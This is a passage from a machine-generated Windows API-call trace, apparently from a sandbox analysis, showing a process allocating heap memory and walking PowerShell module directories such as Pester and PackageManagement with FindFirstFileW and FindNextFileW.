(HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x456ff68 [0140.587] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1") returned 130 [0140.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0x3e5c098 [0140.587] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.587] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44c40b0 [0140.587] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics") returned 142 [0140.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0x3e5c758 [0140.588] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.588] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44d40b8 [0140.588] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple") returned 149 [0140.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 0x3e5c658 [0140.588] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 1 [0140.588] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 1 [0140.588] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 0 [0140.588] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0140.588] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0140.588] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0 [0140.588] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0140.588] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0140.588] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.589] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0 [0140.589] FindClose (in: hFindFile=0x3e5c098 | out: hFindFile=0x3e5c098) returned 1 [0140.589] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0140.589] FindNextFileW (in: hFindFile=0x3e5c118, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0140.589] FindClose (in: hFindFile=0x3e5c118 | out: hFindFile=0x3e5c118) returned 1 [0140.589] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0140.590] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.590] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x455ff60 [0140.590] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics") returned 124 [0140.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0x3e5c518 [0140.591] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0140.591] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0140.591] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x456ff68 [0140.591] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1") returned 130 [0140.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0x3e5c1d8 [0140.591] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.591] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.591] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44c40b0 [0140.950] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics") returned 142 [0140.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0x3e5c258 [0140.950] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.950] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.950] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44eef38 [0140.951] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple") returned 149 [0140.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 0x3e5c298 [0140.951] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 1 [0140.951] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 1 [0140.951] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 0 [0140.951] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0140.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0140.951] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0 [0140.951] FindClose (in: hFindFile=0x3e5c258 | out: hFindFile=0x3e5c258) returned 1 [0140.952] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0140.952] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0 [0140.952] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0140.952] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0140.952] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0140.952] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x456ff68 [0140.952] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1") returned 130 [0140.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0x3e5c098 [0140.952] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.952] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.952] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44c40b0 [0140.952] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics") returned 142 [0140.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0x3e5c558 [0140.952] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.952] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.952] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44eef38 [0140.952] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 149 [0140.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 0x3e5c0d8 [0140.953] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 1 [0140.953] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 1 [0140.953] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x33ce1a4 | out: lpFindFileData=0x33ce1a4) returned 0 [0140.953] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0140.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0140.953] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0 [0140.953] FindClose (in: hFindFile=0x3e5c558 | out: hFindFile=0x3e5c558) returned 1 [0140.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0140.953] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0 [0140.953] FindClose (in: hFindFile=0x3e5c098 | out: hFindFile=0x3e5c098) returned 1 [0140.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0140.953] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0140.953] FindClose (in: hFindFile=0x3e5c518 | out: hFindFile=0x3e5c518) returned 1 [0140.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0140.956] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0140.956] FindClose (in: hFindFile=0x3e5c218 | out: hFindFile=0x3e5c218) returned 1 [0140.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0140.956] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0140.956] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.956] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0140.956] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.956] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0140.956] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0140.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.957] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.957] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44c40b0 [0140.958] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement") returned 60 [0140.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bf58 [0140.958] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.958] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.958] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4415678 [0140.958] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1") returned 68 [0140.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0x3e5bc18 [0140.959] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.959] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.959] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4425680 [0140.959] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en") returned 71 [0140.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0x3e5bc98 [0140.960] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.961] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0140.962] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44c40b0 [0140.962] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester") returned 49 [0140.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bf58 [0140.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.005] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.016] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.017] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.295] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.300] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.302] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.302] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0141.304] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0141.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0141.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.316] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0141.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0141.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0141.319] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0141.319] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.320] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.410] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.410] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.414] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.415] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.416] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.417] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.417] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.420] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.420] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.421] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.422] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.422] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.427] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0141.427] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.428] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0141.428] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0141.428] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0141.430] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.431] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0141.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.456] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.458] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.504] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.504] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.505] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.505] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0141.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.546] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0141.549] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.552] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0141.552] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0141.552] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0141.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0141.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0141.696] HeapFree (in: 